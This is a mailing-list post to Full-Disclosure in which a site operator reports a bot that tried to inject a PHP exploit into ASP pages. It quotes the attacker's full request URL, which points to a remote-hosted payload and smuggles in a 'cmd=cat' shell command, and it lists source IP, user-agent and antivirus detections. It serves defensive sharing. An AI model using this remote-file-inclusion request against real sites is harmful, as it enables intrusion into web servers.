[Full-disclosure] Sidewinder Command/Safemode Exploit 4.1 (PHP.Chaploit)

["Maxime Ducharme" <mducharme@xxxxxxxxxxxxxxxxxxx>]

Hello

we got hit by whats looks like a bot
trying to inject PHP.Chaploit in our sites

Host is in 202.226.224.*
User-Agent : lwp-trivial/1.35

the bot hit one of our dynamic pages (ASP)
trying to inject the PHP script located on
http://www.foxcf.hpgvip.com.br/cse.gif

Full URL was

ourpage.asp?ID=ID=http://www.foxcf.hpgvip.com.br/cse.gif?&cmd=cat%20bugado

obviously trying to inject PHP in ASP isnt a good idea,
thats what makes me think this is automated (and dumb) attack

Virustotal says :
AntiVir 6.33.0.75 01.09.2006 Linux/Rootkit 
Avast 4.6.695.0 01.09.2006 PHP:Chaploit 
Avira 6.33.0.75 01.09.2006 Linux/Rootkit 
DrWeb 4.33 01.09.2006 PHP.Chaploit 
Kaspersky 4.0.2.24 01.09.2006 Exploit.PHP.e 
McAfee 4669 01.06.2006 PHP/Chaploit 
(other didnt detect anything)

I also advised sysadmin of the web server hosting this
file.

i just wanted to share this information with the community

have a nice day

Maxime Ducharme




_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/